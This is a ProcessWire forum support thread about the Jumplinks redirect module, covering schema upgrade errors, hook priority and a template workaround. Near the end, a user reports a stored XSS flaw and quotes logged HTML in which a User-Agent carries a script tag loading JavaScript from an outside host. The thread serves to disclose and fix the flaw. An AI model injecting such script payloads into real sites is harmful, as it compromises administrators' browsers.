Jump to content

Recommended Posts

@Mike Rockett - I am seeing entries appearing the on the 404 Monitor tab that are actually being properly handled and redirected by PagePathHistory. I am wondering if it's a matter of adjusting the load priority for the Jumplinks module relative to PagePathHistory, or if there is more to fixing this, but it would be great if they weren't being recorded. Any thoughts? Thanks!

Share this post


Link to post
Share on other sites

@Mike Rockett, sorry to bother you with this again, but with version 1.5.56 of Jumplinks we're still seeing quite a few database errors:

Quote

String data, right truncated: 1406 Data too long for column 'request_uri' at row 1 (in /site/assets/cache/FileCompiler/site/modules/ProcessJumplinks/ProcessJumplinks.module.php line 532)

Looking at the database the column is now varchar(512), but it seems that's just not enough.

On a related note: on this site "Log 404 hits to the database" isn't checked, so I'm wondering why this is still happening? This is unrelated to the database issue above, but it also seems that there might be some unnecessary / unexpected process going on in here 🙂

Share this post


Link to post
Share on other sites

not sure if this was reported already, but i'm unable to upgrade past 1.5.54, upgrading from 1.5.54 => 1.5.57 creates a "Failed to init module" error, SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name 'last_hit'. Hope this helps, not sure what the issue is.

Share this post


Link to post
Share on other sites
On 11/8/2019 at 4:36 PM, Ben Sayers said:

Hi @kongondo, no problem at all! I'm just happy to have your support 😃 - I'll stay tuned, thanks!!

@Ben Sayers,

I hope you can forgive my 'ineptitude'. I have been royally swamped.

I tried to install Jumplinks but was inundated with the errors reported by others above, so I gave up on that. Anyway, that was just for testing redirects. My solution below, since Jumplinks isn't working for me (I tried all the way back to version 1.5.50), is to use ProcessWire session redirects. I don't know what that means for you in respect of SEO. I hope I am not polluting Jumplinks' support forum but I need to offer a bit of an explanation.

The template blog-posts has URL segments enabled. If you visit:

domain.tld/blog/posts/an-existing-post/

ProcessWire successfully resolves that since 'an-existing-post' exists. In other words, 'an-existing-post' is not considered a URL segment.

If you visit:

domain.tld/blog/posts/non-existent-post/

the URL does not resolve to an existing post. ProcessWire knows that and considers 'non-existing-post' to be a URL Segment. However, since we have URL segments enabled in blog-posts, ProcessWire lets us deal with the situation. We do this in blog-posts template file. I don't know how Jumplinks works but I assume if we threw a 404 error, it will pick up on that and redirect to our desired URI. Again, I am just guessing here. However, since Jumplinks did not work for me, I suggest the following (session redirect), even as a temporary measure. You can try the 404 option to see if it works. Please report back, thanks.

At the top of your blog-posts template file, insert the following, just above your first include:

if($input->urlSegment1) {
	// @todo: test this with Jumplinks. In that case, comment out "session" code below
    //throw new Wire404Exception();
	// redirect to main blog page. if using this, comment out 404 exception code above
    $session->redirect('/blog/');
}
	
include('./_head.php'); // include header markup

I hope this helps. Apologies again for the delay.

Edited by kongondo

Share this post


Link to post
Share on other sites
4 hours ago, kongondo said:

I hope you can forgive my 'ineptitude'. I have been royally swamped.

Not a problem at all @kongondo, I know how it goes 😃

Quote

At the top of your blog-posts template file, insert the following, just above your first include:


if($input->urlSegment1) {
	// @todo: test this with Jumplinks. In that case, comment out "session" code below
    throw new Wire404Exception();
	// redirect to main blog page. if using this, comment out 404 exception code above
    // $session->redirect('/blog/');
}

I used the first option with Jumplinks and it WORKS!! Hallelujah, thank you so much for your time.

  • Like 1

Share this post


Link to post
Share on other sites
6 minutes ago, Ben Sayers said:

I used the first option with Jumplinks and it WORKS!!

Great! I am glad it got resolved!

Share this post


Link to post
Share on other sites

Hi guys,

Super sorry for not getting back to you – much like @kongondo, royally swamped (this time of year).

First off, I'm battling to understand why folks are having install/upgrade troubles here. Whilst JL1 doesn't use a full-on DB migration strategy, it does have an iterative cycle. If you're on schema v4 and upgrade to the latest version, it should be doing v5 and then v6. Only thing I can think of then is that the schema version got messed up somehow. It gets saved in the module’s config, so I really don't see what could have messed it up (I recently formatted those files, but naturally that should not make a difference). I'd need to try reproduce this to see what might be going on. As an aside, JL2 will use DB migrations, so this issue would less likely be encountered unless the applicable tracking table was truncated. Hoping to get JL2 wrapped up over the holidays (lots of leave-days, no big plans).

@adrian – I see PagePathHistory doesn't set its own priority, and JL does. I recall doing this for a reason, but given what you've said, perhaps JL should be somehow setup to be the 'last resort'?

@teppo – Given the schema errors that are being experienced, I think that for the time being, I'm going to simply truncate the string that gets stored to 512 characters. Also a little confused by the 404 logger – it really should not be doing anything if turned off. I do see that it only logs the 404 if there are no jumplinks – I'll definitely fix up that part. 

Update: I've pushed out 1.5.58 - please let me know if the DB errors stop. Thanks!

 

  • Like 1

Share this post


Link to post
Share on other sites
46 minutes ago, Mike Rockett said:

 I see PagePathHistory doesn't set its own priority, and JL does. I recall doing this for a reason, but given what you've said, perhaps JL should be somehow setup to be the 'last resort'?

Yeah, it's the priority setting, but also you use addHookBefore and PagePathHistory used AddHook (alias of AddHookAfter) so to get it to not log a 404 for those URLs handled by PPH, I changed Jumplinks to use addHookAfter and set the priority to 1000 - remember that 100 is the default.

Any thoughts on committing these changes to JL?

Thanks,
Adrian

Share this post


Link to post
Share on other sites

@adrian – I'd be happy to. I see from a previous discussion with Teppo that the priority was set due to a conflict with sitemaps. That being said, I do believe there is a measure in place to circumvent sitemap.xml URIs from being logged, so as a result, I don't see why we can't change the hook and priority. At the end of the day, it kinda makes sense. Modules that need to do things with 404 events should be given the opportunity to do so before JL comes in as a last resort. So I'm going to go ahead and do this – if anyone encounters any issues, we'll need to deal with them on an as-and-when basis.

  • Like 1

Share this post


Link to post
Share on other sites
Just now, Mike Rockett said:

Have release 1.5.59 with these changes. 🙂

Thanks - awesome, except I am getting this error when updating via PW's Upgrade module.

"File could not be downloaded (https://gitlab.com/rockettpw/seo/jumplinks-one/-/archive/1.5.59/jumplinks-one-1.5.59.zip) 404 Not Found: (tried: curl)"

Any reason you can think of?

Share this post


Link to post
Share on other sites
1 minute ago, adrian said:

Any reason you can think of?

Note to self: When creating tags, be sure to actually click on "Create Tag" 🤣

Please try again 🙂

  • Like 1

Share this post


Link to post
Share on other sites

I keep getting this error:

Failed to init module: ProcessJumplinks - SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name 'last_hit'

Any ideas how to fix this?

thanks

Share this post


Link to post
Share on other sites

@OllieMackJames - hmm, something weird is going on here as this is not the first time this has come up (I don't think)... I wonder if it's something related to the module config. The schema version is set there, and it will iterate through the schema updates until it matches the current version. That particular column is way back in schema v3, which is why I think there might be a config issue going on here... Was this a new install or an upgrade?

  • Like 1

Share this post


Link to post
Share on other sites
On 12/3/2019 at 7:50 PM, Mike Rockett said:

@OllieMackJames - hmm, something weird is going on here as this is not the first time this has come up (I don't think)... I wonder if it's something related to the module config. The schema version is set there, and it will iterate through the schema updates until it matches the current version. That particular column is way back in schema v3, which is why I think there might be a config issue going on here... Was this a new install or an upgrade?

@Mike Rockett it was an upgrade, been using this great module for years already, thanks

Share this post


Link to post
Share on other sites

@OllieMackJames Okay, well I honestly don't think there's much more I can do here (unless I'm missing something staring at me in the face 🙈). Hoping to find time soon to continue work on v2 (starting writing the frontend a little while back), which will keep track of these things a little differently (a migration table). 

8 hours ago, OllieMackJames said:

been using this great module for years already, thanks

Scary to think how long it's been around, and how long I've taken to get v2 anywhere 🙃

  • Like 1

Share this post


Link to post
Share on other sites

Attention!

If you have "log 404 to database" enabled and somebody request some js-bullshit as user-agent, the script gets exectuted, because it is rendered as such in the Jumplinks Table.

Can u please fix this fast?

 

Example with script-tag (i think the script is the user-agent)
<tr>
	<td><a href='entity/?id=0&source=wp-admin'>wp-admin</a></td>
	<td class='blank'></td>
	<td><abbr title=""><script type=text/javascript src='https://statistic.admarketlocation.com/hos?&tp=3'></script>"> </abbr></td>
 	<td>2020-01-09 15:18:54</td>
</tr>

 

  • Like 1
  • Thanks 1

Share this post


Link to post
Share on other sites
14 hours ago, Mike Rockett said:

@phlp Security Release 1.5.60 is up. Unable to test right now – please could you check to see that all's good?

Hi.

When there is a script in the user-agent, it gets rendered link this

<tr>
	<td><a href="entity/?id=0&amp;source=wp-admin%2Fwp-login.php">wp-admin/wp-login.php</a></td>
	<td class="blank"></td>
	<td><abbr title="&quot;><script type=text/javascript src='https://statistic.admarketlocation.com/hos?&amp;tp=3'></script>"> </abbr></td>
	<td>2020-01-09 15:19:01</td>
</tr>

It works, but the cell is empty and it still looks creepy.

How about filtering them completely and not even let them in the database?

Share this post


Link to post
Share on other sites

@phlp The reason the cell is empty is because the parser could not determine the browser name and version, and so it's empty anyway. At best, I could simply indicate that the that browser is "unknown" in that column. Wouldn't want to not store unknown agents just because they can't be parsed - this would be getting rid of raw information that might be useful to some folks.

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

  • Similar Content

    • By d'Hinnisdaël
      Happy new year, everybody 🥬
      I've been sitting on this Dashboard module I made for a client and finally came around to cleaning it up and releasing it to the wider public. This is how it looks.
      ProcessWire Dashboard

      If anyone is interested in trying this out, please go ahead! I'd love to get some feedback on it. If this proves useful and survives some real-world testing, I'll add this to the module directory.
      Download
      You can find the latest release on Github.
      Documentation
      Check out the documentation to get started. This is where you'll find information about included panel types and configuration options.
      Custom Panels
      My goal was to make it really simple to create custom panels. The easiest way to do that is to use the panel type template and have it render a file in your templates folder. This might be enough for 80% of all use cases. For anything more complex (FormBuilder submissions? Comments? Live chat?), you can add new panel types by creating modules that extend the DashboardPanel base class. Check out the documentation on custom panels or take a look at the HelloWorld panel to get started. I'm happy to merge any user-created modules into the main repo if they might be useful to more than a few people.
       Disclaimer
      This is a pre-release version. Please treat it as such — don't install it on production sites. Just making sure 🍇
      Roadmap
      These are the things I'm looking to implement myself at some point. The wishlist is a lot longer, but those are the 80/20 items that I probably won't regret spending time on.
      Improve documentation & add examples ⚙️ Panel types Google Analytics ⚙️ Add new page  🔥 Drafts 🔥 At a glance / Page counter 404s  Layout options Render multiple tabs per panel panel groups with heading and spacing between ✅ panel wrappers as grid item (e.g. stacked notices) ✅ Admin themes support AdminThemeReno and AdminThemeDefault ✅ Shortcuts panel add a table layout with icon, title & summary ✅ Chart panel add default styles for common chart types ✅ load chart data from JS file (currently passed as PHP array) Collection panel support image columns ✅ add buttons: view all & add new ✅
    • By Gadgetto
      Status update links (inside this thread) for SnipWire development will be always posted here:
      2020-01-14 --> new date range picker, discount editor, order notifiactions, order statuses, and more ... 2019-11-15 --> orders filter, order details, download + resend invoices, refunds 2019-10-18 --> list filters, REST API improvements, new docs platform, and more ... 2019-08-08 --> dashboard interface, currency selector, managing Orders, Customers and Products, Added a WireTabs, refinded caching behavior 2019-06-15 --> taxes provider, shop templates update, multiCURL implementation, and more ... 2019-06-02 --> FieldtypeSnipWireTaxSelector 2019-05-25 --> SnipWire will be free and open source If you are interested, you can test the current state of development:
      https://github.com/gadgetto/SnipWire
      Please note that the software is not yet intended for use in a production system (alpha version).
      If you like, you can also submit feature requests and suggestions for improvement. I also accept pull requests.
      ---- INITIAL POST FROM 2019-05-25 ----
      I wanted to let you know that I am currently working on a new ProcessWire module that fully integrates the Snipcart Shopping Cart System into ProcessWire. (this is a customer project, so I had to postpone the development of my other module GroupMailer).
      The new module SnipWire offers full integration of the Snipcart Shopping Cart System into ProcessWire.
      Here are some highlights:
      simple setup with (optional) pre-installed templates, product fields, sample products (quasi a complete shop system to get started immediately) store dashboard with all data from the snipcart system (no change to the snipcart dashboard itself required) Integrated REST API for controlling and querying snipcart data webhooks to trigger events from Snipcart (new order, new customer, etc.) multi currency support self-defined/configurable tax rates etc. Development is already well advanced and I plan to release the module in the next 2-3 months.
      I'm not sure yet if this will be a "Pro" module or if it will be made available for free.
      I would be grateful for suggestions and hints!
      Please have a look at the screenshots to get an idea what I'm talking about (open spoiler):
      (Please note: these screenshots are from an early development state of SnipWire. To see actual screens please have a look at later posts below!)
       
    • By Robin S
      This module is inspired by and similar to the Template Stubs module. The author of that module has not been active in the PW community for several years now and parts of the code for that module didn't make sense to me, so I decided to create my own module. Auto Template Stubs has only been tested with PhpStorm because that is the IDE that I use.
      Auto Template Stubs
      Automatically creates stub files for templates when fields or fieldgroups are saved.
      Stub files are useful if you are using an IDE (e.g. PhpStorm) that provides code assistance - the stub files let the IDE know what fields exist in each template and what data type each field returns. Depending on your IDE's features you get benefits such as code completion for field names as you type, type inference, inspection, documentation, etc.
      Installation
      Install the Auto Template Stubs module.
      Configuration
      You can change the class name prefix setting in the module config if you like. It's good to use a class name prefix because it reduces the chance that the class name will clash with an existing class name.
      The directory path used to store the stub files is configurable.
      There is a checkbox to manually trigger the regeneration of all stub files if needed.
      Usage
      Add a line near the top of each of your template files to tell your IDE what stub class name to associate with the $page variable within the template file. For example, with the default class name prefix you would add the following line at the top of the home.php template file:
      /** @var tpl_home $page */ Now enjoy code completion, etc, in your IDE.

      Adding data types for non-core Fieldtype modules
      The module includes the data types returned by all the core Fieldtype modules. If you want to add data types returned by one or more non-core Fieldtype modules then you can hook the AutoTemplateStubs::getReturnTypes() method. For example, in /site/ready.php:
      // Add data types for some non-core Fieldtype modules $wire->addHookAfter('AutoTemplateStubs::getReturnTypes', function(HookEvent $event) { $extra_types = [ 'FieldtypeDecimal' => 'string', 'FieldtypeLeafletMapMarker' => 'LeafletMapMarker', 'FieldtypeRepeaterMatrix' => 'RepeaterMatrixPageArray', 'FieldtypeTable' => 'TableRows', ]; $event->return = $event->return + $extra_types; }); Credits
      Inspired by and much credit to the Template Stubs module by mindplay.dk.
       
      https://github.com/Toutouwai/AutoTemplateStubs
      https://modules.processwire.com/modules/auto-template-stubs/
    • By Robin S
      Add Image URLs
      Allows images/files to be added to Image/File fields by pasting URLs.

      Usage
      Install the Add Image URLs module.
      A "Paste URLs" button will be added to all image and file fields. Use the button to show a textarea where URLs may be pasted, one per line. Images/files are added when the page is saved.
       
      https://github.com/Toutouwai/AddImageUrls
      https://modules.processwire.com/modules/add-image-urls/
    • By gebeer
      Hello all,
      sharing my new module FieldtypeImageReference. It provides a configurable input field for choosing any type of image from selectable sources. Sources can be: 
      a predefined folder in site/templates/ and/or a  page (and optionally its children) and/or the page being edited and/or any page on the site CAUTION: this module is under development and not quite yet in a production-ready state. So please test it carefully.
      UPDATE: the new version v2.0.0 introduces a breaking change due to renaming the module. If you have an older version already installed, you need to uninstall it and install the latest master version.
      Module and full description can be found on github https://github.com/gebeer/FieldtypeImageReference
      Install from URL: https://github.com/gebeer/FieldtypeImageReference/archive/master.zip
      Read on for features and use cases.
      Features
      Images can be loaded from a folder inside site/templates/ or site/assets Images in that folder can be uploaded and deleted from within the inputfield Images can be loaded from other pages defined in the field settings Images can be organized into categories. Child pages of the main 'image source page' serve as categories mages can be loaded from any page on the site From the API side, images can be manipulated like native ProcessWire images (resizing, cropping etc.), even the images from a folder Image thumbnails are loaded into inputfield by ajax on demand Source images on other pages can be edited from within this field. Markup of SVG images can be rendered inline with `echo $image->svgcontent` Image names are fully searchable through the API $pages->find('fieldname.filename=xyz.png'); $pages->find('fieldname.filename%=xy.png'); Accidental image deletion is prevented. When you want to delete an image from one of the pages that hold your site-wide images, the module searches all pages that use that image. If any page contains a reference to the image you are trying to delete, deletion will be prevented. You will get an error message with links to help you edit those pages and remove references there before you can finally delete the image. This field type can be used with marcrura's Settings Factory module to store images on settings pages, which was not possible with other image field types When to use ?
      If you want to let editors choose an image from a set of images that is being used site-wide. Ideal for images that are being re-used across the site (e.g. icons, but not limited to that).
      Other than the native ProcessWire images field, the images here are not stored per page. Only references to images that live on other pages or inside a folder are stored. This has several advantages:
      one central place to organize images when images change, you only have to update them in one place. All references will be updated, too. (Provided the name of the image that has changed stays the same) Installation and setup instructions can be found on github.
      Here's how the input field looks like in the page editor:

      If you like to give it a try, I'm happy to hear your comments or suggestions for improvement. Install from URL: https://github.com/gebeer/FieldtypeImageReference/archive/master.zip
      Eventually this will go in the module directory, too. But it needs some more testing before I submit it. So I'd really appreciate your assistance.
      Thanks to all who contributed their feedback and suggestions which made this module what it is now.
       
×
×
  • Create New...